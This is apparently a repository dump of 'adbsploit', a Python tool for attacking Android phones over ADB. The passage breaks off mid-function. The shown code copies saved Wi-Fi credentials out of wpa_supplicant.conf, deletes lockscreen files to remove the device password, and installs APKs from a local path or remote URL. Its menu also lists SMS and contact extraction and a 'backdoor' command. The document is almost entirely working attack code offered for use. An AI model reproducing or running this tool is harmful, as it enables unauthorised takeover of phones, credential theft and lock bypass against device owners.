├── README.md ├── adbsploit ├── __init__.py └── adbsploit.py ├── pics └── ref.png ├── requirements.txt └── setup.py /README.md: -------------------------------------------------------------------------------- 1 | # adbsploit 2 | A python based tool for exploiting and managing android devices via ADB 3 | 4 | [![forthebadge](https://forthebadge.com/images/badges/made-with-python.svg)](https://forthebadge.com) 5 | 6 | # Installation 7 | ``` 8 | git clone https://github.com/krishpranav/adbsploit 9 | cd adbsploit 10 | sudo chmod +x * 11 | python3 setup.py install 12 | adbsploit 13 | ``` 14 | # Requirements 15 | - 3.x 16 | 17 | # Reference 18 | 19 | -------------------------------------------------------------------------------- /adbsploit/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/adbsploit/fc9264b21d2271138b64c9fa1c411f1e3e9a7367/adbsploit/__init__.py -------------------------------------------------------------------------------- /adbsploit/adbsploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # imports 5 | import os 6 | import shutil 7 | import subprocess 8 | import sys 9 | import random 10 | 11 | import adbutils 12 | from colorama import Fore 13 | from pyfiglet import Figlet 14 | from rich.console import Console 15 | from rich.table import Table 16 | 17 | arrow = Fore.RED + " └──>" + Fore.WHITE 18 | device = 'none' 19 | 20 | 21 | def main(): 22 | command = input(Fore.WHITE + "adbsploit" + Fore.RED + "(" + device + ")" + Fore.WHITE + " > ") 23 | if command == 'help': 24 | help() 25 | main() 26 | elif command == 'devices': 27 | devices() 28 | main() 29 | elif command == 'select': 30 | select() 31 | main() 32 | elif command == 'connect': 33 | connect() 34 | main() 35 | elif command == 'list-forward': 36 | list_forward() 37 | main() 38 | elif command == 'forward': 39 | forward() 40 | main() 41 | elif command == 'wifi': 42 | wifi() 43 | main() 44 | elif command == 'airplane': 45 | airplane() 46 | main() 47 | elif command == 'dumpsys': 48 | dumpsys() 49 | main() 50 | elif command == 'list-apps': 51 | list_apps() 52 | main() 53 | elif command == 'wpa-supplicant': 54 | wpa_supplicant() 55 | main() 56 | elif command == 'start-app': 57 | start_app() 58 | main() 59 | elif command == 'stop-app': 60 | stop_app() 61 | main() 62 | elif command == 'clear-app': 63 | clear_app() 64 | main() 65 | elif command == 'install': 66 | install() 67 | main() 68 | elif command == 'install-remote': 69 | install_remote() 70 | main() 71 | elif command == 'uninstall': 72 | uninstall() 73 | main() 74 | elif command == 'shell': 75 | shell() 76 | main() 77 | elif command == 'shutdown': 78 | shutdown() 79 | main() 80 | elif command == 'reboot': 81 | reboot() 82 | main() 83 | elif command == 'kill-server': 84 | kill_server() 85 | main() 86 | elif command == 'get-folder': 87 | get_folder() 88 | main() 89 | elif command == 'logs': 90 | logs() 91 | main() 92 | elif command == 'show_ip': 93 | show_ip() 94 | main() 95 | elif command == 'battery': 96 | battery() 97 | main() 98 | elif command == 'appinfo': 99 | appinfo() 100 | main() 101 | elif command == 'netstat': 102 | netstat() 103 | main() 104 | elif command == 'sound': 105 | sound() 106 | main() 107 | elif command == 'check-screen': 108 | check_screen() 109 | main() 110 | elif command == 'dump-hierarchy': 111 | dump_hierarchy() 112 | main() 113 | elif command == 'keyevent': 114 | keyevent() 115 | main() 116 | elif command == 'show-keyevents': 117 | show_keyevents() 118 | main() 119 | elif command == 'open-browser': 120 | open_browser() 121 | main() 122 | elif command == 'remove-password': 123 | remove_password() 124 | main() 125 | elif command == 'swipe': 126 | swipe() 127 | main() 128 | elif command == 'screen': 129 | screen() 130 | main() 131 | elif command == 'unlock-screen': 132 | unlock_screen() 133 | main() 134 | elif command == 'lock-screen': 135 | lock_screen() 136 | main() 137 | elif command == 'show-mac': 138 | show_macaddress() 139 | main() 140 | elif command == 'screenshot': 141 | screenshot() 142 | main() 143 | elif command == 'dump-meminfo': 144 | dump_meminfo() 145 | main() 146 | elif command == 'process-list': 147 | process_list() 148 | main() 149 | elif command == 'tcpip': 150 | tcpip() 151 | main() 152 | elif command == 'current-app': 153 | current_app() 154 | main() 155 | elif command == 'extract-contacts': 156 | extract_contacts() 157 | main() 158 | elif command == 'extract-sms': 159 | extract_sms() 160 | main() 161 | elif command == 'delete-sms': 162 | delete_sms() 163 | main() 164 | elif command == 'send-sms': 165 | send_sms() 166 | main() 167 | elif command == 'extract-app': 168 | extract_app() 169 | main() 170 | elif command == 'recovery-mode': 171 | recovery_mode() 172 | main() 173 | elif command == 'device-info': 174 | device_info() 175 | main() 176 | elif command == 'fastboot-mode': 177 | fastboot_mode() 178 | main() 179 | elif command == 'kill-process': 180 | kill_process() 181 | main() 182 | elif command == 'screenrecord': 183 | screenrecord() 184 | main() 185 | elif command == 'remote-control': 186 | remote_control() 187 | main() 188 | elif command == 'backdoor': 189 | backdoor() 190 | main() 191 | elif command == 'clear': 192 | clear() 193 | main() 194 | elif command == 'version': 195 | version() 196 | main() 197 | elif command == 'exit': 198 | exit() 199 | else: 200 | print(arrow + Fore.RED + " That command doesn't exists...") 201 | main() 202 | 203 | 204 | # ******************************************************************************* 205 | # Functions 206 | 207 | # show connected devices 208 | def devices(): 209 | table = Table() 210 | table.add_column("Device detected", style="cyan") 211 | table.add_column("Model", style="magenta") 212 | table.add_column("Name", style="magenta") 213 | table.add_column("Device", style="magenta") 214 | for d in adbutils.adb.device_list(): 215 | table.add_row(d.serial, d.prop.model, d.prop.name, d.prop.device) 216 | console = Console() 217 | console.print(table) 218 | 219 | # function for connecting to the target phone 220 | def connect(): 221 | print(("[{0}+{1}] Enter the phone IP address to connect").format(Fore.RED, Fore.WHITE)) 222 | dev = input(arrow + " adbsploit" + Fore.RED + "(connect) " + Fore.WHITE + "> ") 223 | output = adbutils.adb.connect(dev) 224 | print(arrow + Fore.GREEN + " * " + output) 225 | 226 | # select phone 227 | def select(): 228 | print(("[{0}+{1}] Enter the phone serial").format(Fore.RED, Fore.WHITE)) 229 | dev = input(arrow + " adbsploit" + Fore.RED + "(select) " + Fore.WHITE + "> ") 230 | output = adbutils.adb.device(serial=dev) 231 | global device 232 | try: 233 | output.is_screen_on() 234 | print("Selected device: " + Fore.GREEN + output.serial) 235 | device = output.serial 236 | main() 237 | except: 238 | print(arrow + ("[{0}+{1}] That device doesn't exist...").format(Fore.RED, Fore.WHITE)) 239 | 240 | # lists 241 | def list_forward(): 242 | global device 243 | table = Table() 244 | table.add_column("Device", style="cyan") 245 | table.add_column("Local Port", style="magenta") 246 | table.add_column("Remote Port", style="magenta") 247 | if device != 'none': 248 | # list only one device forwards 249 | for item in adbutils.adb.forward_list(device): 250 | table.add_row(item.serial, item.local, item.remote) 251 | console = Console() 252 | console.print(table) 253 | else: 254 | # list all forwards 255 | for item in adbutils.adb.forward_list(): 256 | table.add_row(item.serial, item.local, item.remote) 257 | console = Console() 258 | console.print(table) 259 | 260 | # port forward 261 | def forward(): 262 | global device 263 | if device != 'none': 264 | print(("[{0}+{1}] Enter the local port to foward").format(Fore.RED, Fore.WHITE)) 265 | local = input(arrow + " adbsploit" + Fore.RED + "(forward) " + Fore.WHITE + "> ") 266 | print(("[{0}+{1}] Enter the remote port to forward").format(Fore.RED, Fore.WHITE)) 267 | remote = input(arrow + " adbsploit" + Fore.RED + "(forward) " + Fore.WHITE + "> ") 268 | d = adbutils.adb.device(device) 269 | output = d.forward(local, remote) 270 | print(output) 271 | print(Fore.GREEN + "The port forward is now active...") 272 | else: 273 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 274 | 275 | # show the wifi near the target device 276 | def wifi(): 277 | global device 278 | if device != 'none': 279 | d = adbutils.adb.device(device) 280 | print(("[{0}+{1}] Enter the state of the wifi (ON/OFF)").format(Fore.RED, Fore.WHITE)) 281 | state = input(arrow + " adbsploit" + Fore.RED + "(wifi) " + Fore.WHITE + "> ") 282 | if state == 'on' or state == 'ON': 283 | d.shell('svc wifi enable') 284 | print(arrow + Fore.GREEN + 'The wifi is now enabled on the device') 285 | elif state == 'off' or state == 'OFF': 286 | d.shell('svc wifi disable') 287 | print( 288 | arrow + Fore.GREEN + 'The wifi is now disabled on the device. To turn it on again you must plugged in') 289 | else: 290 | print(arrow + ("[{0}+{1}] That state doesn't exists").format(Fore.RED, Fore.WHITE)) 291 | wifi() 292 | else: 293 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 294 | 295 | # dump sys info 296 | def dumpsys(): 297 | global device 298 | if device != 'none': 299 | d = adbutils.adb.device(device) 300 | print(arrow + d.shell(device + ' dumpsys')) 301 | else: 302 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 303 | 304 | # list all apps 305 | def list_apps(): 306 | global device 307 | if device != 'none': 308 | d = adbutils.adb.device(device) 309 | apps = d.list_packages() 310 | table = Table() 311 | table.add_column("App", style="cyan") 312 | for a in apps: 313 | table.add_row(a) 314 | console = Console() 315 | console.print(table) 316 | else: 317 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 318 | 319 | # wpa shows 320 | def wpa_supplicant(): 321 | global device 322 | if device != 'none': 323 | try: 324 | d = adbutils.adb.device(device) 325 | d.shell("su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") 326 | d.sync.pull("/sdcard/wpa_supplicant.conf", "wpa_supplicant.conf") 327 | # d.shell(device + " pull /sdcard/wpa_supplicant.conf "+location) 328 | print(arrow + Fore.GREEN + 'WPA Supplicant exported correctly') 329 | except: 330 | print(arrow + Fore.RED + 'An error has been occurred grabbing the wpa_supplicant') 331 | else: 332 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 333 | 334 | # install apk in the target phone 335 | def install(): 336 | global device 337 | if device != 'none': 338 | try: 339 | print(("[{0}+{1}] Enter the apk path").format(Fore.RED, Fore.WHITE)) 340 | apk = input(arrow + " adbsploit" + Fore.RED + "(install) " + Fore.WHITE + "> ") 341 | d = adbutils.adb.device(device) 342 | d.install(apk) 343 | print(arrow + Fore.GREEN + 'APK installed successfully') 344 | except: 345 | print( 346 | arrow + Fore.RED + 'An error has been occurred installing the APK. Check the path or the error related') 347 | else: 348 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 349 | 350 | # install from a remote serer 351 | def install_remote(): 352 | global device 353 | if device != 'none': 354 | try: 355 | print(("[{0}+{1}] Enter the apk URL").format(Fore.RED, Fore.WHITE)) 356 | url = input(arrow + " adbsploit" + Fore.RED + "(install_remote) " + Fore.WHITE + "> ") 357 | d = adbutils.adb.device(device) 358 | d.install_remote(url) 359 | print(arrow + Fore.GREEN + 'APK installed successfully') 360 | except: 361 | print( 362 | arrow + Fore.RED + 'An error has been occurred installing the APK. Check the path or the error related') 363 | else: 364 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 365 | 366 | # uninstall apps from the target phone 367 | def uninstall(): 368 | global device 369 | if device != 'none': 370 | try: 371 | print(arrow + ("[{0}+{1}] Enter the package name").format(Fore.RED, Fore.WHITE)) 372 | app = input(arrow + " adbsploit" + Fore.RED + "(uninstall) " + Fore.WHITE + "> ") 373 | d = adbutils.adb.device(device) 374 | d.uninstall(app) 375 | print(arrow + Fore.GREEN + 'APK uninstalled successfully') 376 | except: 377 | print( 378 | arrow + Fore.RED + 'An error has been occurred uninstalling the APK. Check the package name or the error related') 379 | else: 380 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 381 | 382 | # spawn a shell 383 | def shell(): 384 | global device 385 | if device != 'none': 386 | try: 387 | os.system("adb -s " + device + " shell") 388 | except: 389 | print(arrow + ("[{0}+{1}] An error ocurred opening the shell...").format(Fore.RED, Fore.WHITE)) 390 | else: 391 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 392 | 393 | # shut down target phone 394 | def shutdown(): 395 | global device 396 | if device != 'none': 397 | try: 398 | d = adbutils.adb.device(device) 399 | d.shell('reboot -p') 400 | print(arrow + Fore.GREEN + 'The device is shutting down...') 401 | except: 402 | print(arrow + ("[{0}+{1}] An error ocurred shutting down the device").format(Fore.RED, Fore.WHITE)) 403 | else: 404 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 405 | 406 | # reboot the target phone 407 | def reboot(): 408 | global device 409 | if device != 'none': 410 | try: 411 | d = adbutils.adb.device(device) 412 | d.shell('reboot') 413 | print(arrow + Fore.GREEN + 'The device is rebooting...') 414 | except: 415 | print(arrow + ("[{0}+{1}] An error ocurred opening the shell...").format(Fore.RED, Fore.WHITE)) 416 | else: 417 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 418 | 419 | # kill server 420 | def kill_server(): 421 | try: 422 | adbutils.adb.server_kill() 423 | print(arrow + Fore.GREEN + 'The server is down...') 424 | except: 425 | print(arrow + ("[{0}+{1}] An error ocurred killing the server...").format(Fore.RED, Fore.WHITE)) 426 | 427 | # get folders in the target device 428 | def get_folder(): 429 | global device 430 | if device != 'none': 431 | try: 432 | print(arrow + ("[{0}+{1}] Enter the path of the folder to pull").format(Fore.RED, Fore.WHITE)) 433 | path = input(arrow + " adbsploit" + Fore.RED + "(get_folder) " + Fore.WHITE + "> ") 434 | print(arrow + ("[{0}+{1}] Enter the path of the destination").format(Fore.RED, Fore.WHITE)) 435 | name = input(arrow + " adbsploit" + Fore.RED + "(get_folder) " + Fore.WHITE + "> ") 436 | d = adbutils.adb.device(device) 437 | d.sync.pull(path, name) 438 | except: 439 | print(arrow + ("[{0}+{1}] An error ocurred pulling the folder...").format(Fore.RED, Fore.WHITE)) 440 | else: 441 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 442 | 443 | # get phone logs 444 | def logs(): 445 | global device 446 | if device != 'none': 447 | try: 448 | print(arrow + ("[{0}+{1}] You want all the logs or only an app? (all/package_name) ").format(Fore.RED, 449 | Fore.WHITE)) 450 | app = input(arrow + " adbsploit" + Fore.RED + "(logs) " + Fore.WHITE + "> ") 451 | if app == "all": 452 | os.system('adb -s ' + device + " logcat ") 453 | else: 454 | os.system('adb -s ' + device + " logcat " + "app") 455 | except: 456 | print(arrow + ("[{0}+{1}] An error ocurred getting the logs...").format(Fore.RED, Fore.WHITE)) 457 | else: 458 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 459 | 460 | # start app 461 | def start_app(): 462 | global device 463 | if device != 'none': 464 | try: 465 | print(arrow + ("[{0}+{1}] Specify the name of the app (ex: com.whatsapp) ").format(Fore.RED, Fore.WHITE)) 466 | app = input(arrow + " adbsploit" + Fore.RED + "(start_app) " + Fore.WHITE + "> ") 467 | print(arrow + ("[{0}+{1}] Specify the activity, if not leave it blank) ").format(Fore.RED, Fore.WHITE)) 468 | activity = input(arrow + " adbsploit" + Fore.RED + "(start_app) " + Fore.WHITE + "> ") 469 | d = adbutils.adb.device(device) 470 | if activity == '': 471 | d.app_start(app) 472 | print(Fore.GREEN + "The app " + app + " is now starting...") 473 | else: 474 | d.app_start(app, activity) 475 | print(Fore.GREEN + "The app " + app + "with the activity " + activity + " is now starting...") 476 | except: 477 | print(arrow + ("[{0}+{1}] An error ocurred starting the app...").format(Fore.RED, Fore.WHITE)) 478 | else: 479 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 480 | 481 | # stop app in the target device 482 | def stop_app(): 483 | global device 484 | if device != 'none': 485 | try: 486 | print(arrow + ("[{0}+{1}] Specify the name of the app (ex: com.whatsapp) ").format(Fore.RED, Fore.WHITE)) 487 | app = input(arrow + " adbsploit" + Fore.RED + "(stop_app) " + Fore.WHITE + "> ") 488 | d = adbutils.adb.device(device) 489 | d.app_stop(app) 490 | print(Fore.GREEN + "The app " + app + " is now stopped...") 491 | except: 492 | print(arrow + ("[{0}+{1}] An error ocurred stopping the app...").format(Fore.RED, Fore.WHITE)) 493 | else: 494 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 495 | 496 | # clear app data 497 | def clear_app(): 498 | global device 499 | if device != 'none': 500 | try: 501 | print(arrow + ("[{0}+{1}] Specify the name of the app (ex: com.whatsapp) ").format(Fore.RED, Fore.WHITE)) 502 | app = input(arrow + " adbsploit" + Fore.RED + "(clear_app) " + Fore.WHITE + "> ") 503 | d = adbutils.adb.device(device) 504 | d.app_clear(app) 505 | print(Fore.GREEN + "The app " + app + " is now clear...") 506 | except: 507 | print(arrow + ("[{0}+{1}] An error ocurred starting the app...").format(Fore.RED, Fore.WHITE)) 508 | else: 509 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 510 | 511 | # show ip of the target phone 512 | def show_ip(): 513 | global device 514 | if device != 'none': 515 | try: 516 | d = adbutils.adb.device(device) 517 | ip = d.wlan_ip() 518 | print(arrow + Fore.GREEN + ip) 519 | except: 520 | print(arrow + ("[{0}+{1}] An error ocurred showing the ip...").format(Fore.RED, Fore.WHITE)) 521 | else: 522 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 523 | 524 | # get all app info 525 | def appinfo(): 526 | global device 527 | if device != 'none': 528 | try: 529 | print(arrow + ("[{0}+{1}] Specify the name of the app (ex: com.whatsapp) ").format(Fore.RED, Fore.WHITE)) 530 | app = input(arrow + " adbsploit" + Fore.RED + "(appinfo) " + Fore.WHITE + "> ") 531 | d = adbutils.adb.device(device) 532 | print(Fore.GREEN + str(d.package_info(app))) 533 | except: 534 | print(arrow + ("[{0}+{1}] An error ocurred obtaining the info...").format(Fore.RED, Fore.WHITE)) 535 | else: 536 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 537 | 538 | # show battery in the target phone 539 | def battery(): 540 | global device 541 | if device != 'none': 542 | try: 543 | d = adbutils.adb.device(device) 544 | bat = d.shell("dumpsys battery") 545 | print(Fore.GREEN + bat) 546 | except: 547 | print(arrow + ("[{0}+{1}] An error ocurred obtaining the battery info...").format(Fore.RED, Fore.WHITE)) 548 | else: 549 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 550 | 551 | # netstat run in the target device 552 | def netstat(): 553 | global device 554 | if device != 'none': 555 | try: 556 | d = adbutils.adb.device(device) 557 | bat = d.shell("netstat") 558 | print(arrow + Fore.GREEN + "The netstat for device " + device + " is:") 559 | print(Fore.MAGENTA + bat) 560 | except: 561 | print(arrow + ("[{0}+{1}] An error ocurred getting the netstat...").format(Fore.RED, Fore.WHITE)) 562 | else: 563 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 564 | 565 | # on the aeroplane mode in the target device 566 | def airplane(): 567 | global device 568 | if device != 'none': 569 | try: 570 | print(arrow + ("[{0}+{1}] Specify the name of the app (ex: com.whatsapp) ").format(Fore.RED, Fore.WHITE)) 571 | status = input(arrow + " adbsploit" + Fore.RED + "(airplane) " + Fore.WHITE + "> ") 572 | d = adbutils.adb.device(device) 573 | if status == 'on': 574 | d.switch_airplane(True) 575 | print(arrow + Fore.GREEN + "The Airplane Mode is activated...") 576 | elif status == 'off': 577 | d.switch_airplane(False) 578 | print(arrow + Fore.GREEN + "The Airplane Mode is deactivated...") 579 | else: 580 | print(arrow + Fore.RED + "The status value only accepts on or off") 581 | except: 582 | print(arrow + ("[{0}+{1}] An error ocurred with airplane mode...").format(Fore.RED, Fore.WHITE)) 583 | else: 584 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 585 | 586 | # adjust the volume in the target device 587 | def sound(): 588 | global device 589 | if device != 'none': 590 | try: 591 | print( 592 | arrow + ("[{0}+{1}] Specify the type of sound to modify (media/call/system/notifications/all) ").format( 593 | Fore.RED, Fore.WHITE)) 594 | type = input(arrow + " adbsploit" + Fore.RED + "(sound) " + Fore.WHITE + "> ") 595 | print(arrow + ("[{0}+{1}] Specify the sound leve 0-15 ").format(Fore.RED, Fore.WHITE)) 596 | set = input(arrow + " adbsploit" + Fore.RED + "(sound) " + Fore.WHITE + "> ") 597 | d = adbutils.adb.device(device) 598 | if type == 'media': 599 | d.shell('media volume --stream 3 --set ' + set) 600 | print(arrow + Fore.GREEN + 'The media volume is now set to ' + set + '...') 601 | elif type == 'call': 602 | d.shell('media volume --stream 0 --set ' + set) 603 | print(arrow + Fore.GREEN + 'The call volume is now set to ' + set + '...') 604 | elif type == 'system': 605 | d.shell('media volume --stream 1 --set ' + set) 606 | print(arrow + Fore.GREEN + "The system volume is now set to " + set + '...') 607 | elif type == 'notifications': 608 | d.shell('media volume --stream 2 --set ' + set) 609 | print(arrow + Fore.GREEN + 'The notifications volume is now set to ' + set + '...') 610 | elif type == 'all': 611 | d.shell() 612 | d.shell('media volume --stream 3 --set ' + set) 613 | d.shell('media volume --stream 2 --set ' + set) 614 | d.shell('media volume --stream 1 --set ' + set) 615 | d.shell('media volume --stream 0 --set ' + set) 616 | print(arrow + Fore.GREEN + 'The all volume types is now set to ' + set + '...') 617 | else: 618 | print(Fore.RED + "This type doesn't exists...") 619 | except: 620 | print(arrow + ("[{0}+{1}] An error ocurred with the sound...").format(Fore.RED, Fore.WHITE)) 621 | else: 622 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 623 | 624 | # function for checking the target device screen is in off or on 625 | def check_screen(): 626 | global device 627 | if device != 'none': 628 | try: 629 | d = adbutils.adb.device(device) 630 | screen = d.is_screen_on() 631 | if screen == True: 632 | print(arrow + Fore.GREEN + 'The screen is on...') 633 | else: 634 | print(arrow + Fore.GREEN + 'The screen is off...') 635 | except: 636 | print(arrow + ("[{0}+{1}] An error ocurred checking the screen...").format(Fore.RED, Fore.WHITE)) 637 | else: 638 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 639 | 640 | # dump hierarchy 641 | def dump_hierarchy(): 642 | global device 643 | if device != 'none': 644 | try: 645 | d = adbutils.adb.device(device) 646 | print(arrow + Fore.GREEN + d.dump_hierarchy()) 647 | except: 648 | print(arrow + ("[{0}+{1}] An error ocurred dumping hierarchy...").format(Fore.RED, Fore.WHITE)) 649 | else: 650 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 651 | 652 | # keyevnt 653 | def keyevent(): 654 | global device 655 | if device != 'none': 656 | try: 657 | print(arrow + ("[{0}+{1}] Specify the keyevent").format(Fore.RED, Fore.WHITE)) 658 | key = input(arrow + " adbsploit" + Fore.RED + "(keyevent) " + Fore.WHITE + "> ") 659 | d = adbutils.adb.device(device) 660 | d.keyevent(key) 661 | print(arrow + Fore.GREEN + "They key event is processed correctly...") 662 | except: 663 | print(arrow + ("[{0}+{1}] An error ocurred dumping hierarchy...").format(Fore.RED, Fore.WHITE)) 664 | else: 665 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 666 | 667 | # all keyevents 668 | def show_keyevents(self): 669 | table = Table() 670 | table.add_column("Code", style="cyan") 671 | table.add_column("Keycode", style="magenta") 672 | table.add_row("0", "KEYCODE_UNKNOWN") 673 | table.add_row("1", "KEYCODE_MENU") 674 | table.add_row("2", "KEYCODE_SOFT_RIGHT") 675 | table.add_row("3", "KEYCODE_HOME") 676 | table.add_row("4", "KEYCODE_BACK") 677 | table.add_row("5", "KEYCODE_CALL") 678 | table.add_row("6", "KEYCODE_ENDCALL") 679 | table.add_row("7", "KEYCODE_0") 680 | table.add_row("8", "KEYCODE_1") 681 | table.add_row("9", "KEYCODE_2") 682 | table.add_row("10", "KEYCODE_3") 683 | table.add_row("11", "KEYCODE_4") 684 | table.add_row("12", "KEYCODE_5") 685 | table.add_row("13", "KEYCODE_6") 686 | table.add_row("14", "KEYCODE_7") 687 | table.add_row("15", "KEYCODE_8") 688 | table.add_row("16", "KEYCODE_9") 689 | table.add_row("17", "KEYCODE_STAR") 690 | table.add_row("18", "KEYCODE_POUND") 691 | table.add_row("19", "KEYCODE_DPAD_UP") 692 | table.add_row("20", "KEYCODE_DPAD_DOWN") 693 | table.add_row("21", "KEYCODE_DPAD_LEFT") 694 | table.add_row("22", "KEYCODE_DPAD_RIGHT") 695 | table.add_row("23", "KEYCODE_DPAD_CENTER") 696 | table.add_row("24", "KEYCODE_VOLUME_UP") 697 | table.add_row("25", "KEYCODE_VOLUME_DOWN") 698 | table.add_row("26", "KEYCODE_POWER") 699 | table.add_row("27", "KEYCODE_CAMERA") 700 | table.add_row("28", "KEYCODE_CLEAR") 701 | table.add_row("29", "KEYCODE_A") 702 | table.add_row("30", "KEYCODE_B") 703 | table.add_row("31", "KEYCODE_C") 704 | table.add_row("32", "KEYCODE_D") 705 | table.add_row("33", "KEYCODE_E") 706 | table.add_row("34", "KEYCODE_F") 707 | table.add_row("35", "KEYCODE_G") 708 | table.add_row("36", "KEYCODE_H") 709 | table.add_row("37", "KEYCODE_I") 710 | table.add_row("38", "KEYCODE_J") 711 | table.add_row("39", "KEYCODE_K") 712 | table.add_row("40", "KEYCODE_L") 713 | table.add_row("41", "KEYCODE_M") 714 | table.add_row("42", "KEYCODE_N") 715 | table.add_row("43", "KEYCODE_O") 716 | table.add_row("44", "KEYCODE_P") 717 | table.add_row("45", "KEYCODE_Q") 718 | table.add_row("46", "KEYCODE_R") 719 | table.add_row("47", "KEYCODE_S") 720 | table.add_row("48", "KEYCODE_T") 721 | table.add_row("49", "KEYCODE_U") 722 | table.add_row("50", "KEYCODE_V") 723 | table.add_row("51", "KEYCODE_W") 724 | table.add_row("52", "KEYCODE_X") 725 | table.add_row("53", "KEYCODE_Y") 726 | table.add_row("54", "KEYCODE_Z") 727 | table.add_row("55", "KEYCODE_COMMA") 728 | table.add_row("56", "KEYCODE_PERIOD") 729 | table.add_row("57", "KEYCODE_ALT_LEFT") 730 | table.add_row("58", "KEYCODE_ALT_RIGHT") 731 | table.add_row("59", "KEYCODE_SHIFT_LEFT") 732 | table.add_row("60", "KEYCODE_SHIFT_RIGHT") 733 | table.add_row("61", "KEYCODE_TAB") 734 | table.add_row("62", "KEYCODE_SPACE") 735 | table.add_row("63", "KEYCODE_SYM") 736 | table.add_row("64", "KEYCODE_EXPLORER") 737 | table.add_row("65", "KEYCODE_ENVELOPE") 738 | table.add_row("66", "KEYCODE_ENTER") 739 | table.add_row("67", "KEYCODE_DEL") 740 | table.add_row("68", "KEYCODE_GRAVE") 741 | table.add_row("69", "KEYCODE_MINUS") 742 | table.add_row("70", "KEYCODE_EQUALS") 743 | table.add_row("71", "KEYCODE_LEFT_BRACKET") 744 | table.add_row("72", "KEYCODE_RIGHT_BRACKET") 745 | table.add_row("73", "KEYCODE_BACKSLASH") 746 | table.add_row("74", "KEYCODE_SEMICOLON") 747 | table.add_row("75", "KEYCODE_APOSTROPHE") 748 | table.add_row("76", "KEYCODE_SLASH") 749 | table.add_row("77", "KEYCODE_AT") 750 | table.add_row("78", "KEYCODE_NUM") 751 | table.add_row("79", "KEYCODE_HEADSETHOOK") 752 | table.add_row("80", "KEYCODE_FOCUS") 753 | table.add_row("81", "KEYCODE_PLUS") 754 | table.add_row("82", "KEYCODE_MENU") 755 | table.add_row("83", "KEYCODE_NOTIFICATION") 756 | table.add_row("84", "KEYCODE_SEARCH") 757 | table.add_row("85", "TAG_LAST_KEYCODE") 758 | console = Console() 759 | console.print(table) 760 | 761 | # open browser in the target phone 762 | def open_browser(): 763 | global device 764 | if device != 'none': 765 | try: 766 | print(arrow + ("[{0}+{1}] Specify the URL to open").format(Fore.RED, Fore.WHITE)) 767 | url = input(arrow + " adbsploit" + Fore.RED + "(open_browser) " + Fore.WHITE + "> ") 768 | d = adbutils.adb.device(device) 769 | if url != '': 770 | d.open_browser(url) 771 | print(arrow + Fore.GREEN + 'The url ' + url + ' is now opening...') 772 | else: 773 | print(arrow + Fore.RED + 'The URL can not be null...') 774 | except: 775 | print(arrow + ("[{0}+{1}] An error ocurred opening the url...").format(Fore.RED, Fore.WHITE)) 776 | else: 777 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 778 | 779 | # remove password from the phone 780 | def remove_password(): 781 | global device 782 | if device != 'none': 783 | try: 784 | d = adbutils.adb.device(device) 785 | print(arrow + Fore.RED + 'Trying to remove lockscreen password...') 786 | d1 = d.shell("su 0 'rm /data/system/gesture.key'") 787 | print(arrow + d1) 788 | d2 = d.shell("su 0 'rm /data/system/locksettings.db'") 789 | print(arrow + d2) 790 | d3 = d.shell("su 0 'rm /data/system/locksettings.db-wal'") 791 | print(arrow + d3) 792 | d4 = d.shell("su 0 'rm /data/system/locksettings.db-shm'") 793 | print(arrow + d4) 794 | except: 795 | print(arrow + ("[{0}+{1}] An error ocurred removing the password...").format(Fore.RED, Fore.WHITE)) 796 | else: 797 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 798 | 799 | # swipe the screen 800 | def swipe(): 801 | global device 802 | if device != 'none': 803 | try: 804 | print(arrow + ("[{0}+{1}] Specify sx in the screen").format(Fore.RED, Fore.WHITE)) 805 | sx = input(arrow + " adbsploit" + Fore.RED + "(swipe) " + Fore.WHITE + "> ") 806 | print(arrow + ("[{0}+{1}] Specify sy in the screen").format(Fore.RED, Fore.WHITE)) 807 | sy = input(arrow + " adbsploit" + Fore.RED + "(swipe) " + Fore.WHITE + "> ") 808 | print(arrow + ("[{0}+{1}] Specify ex in the screen").format(Fore.RED, Fore.WHITE)) 809 | ex = input(arrow + " adbsploit" + Fore.RED + "(swipe) " + Fore.WHITE + "> ") 810 | print(arrow + ("[{0}+{1}] Specify ey in the 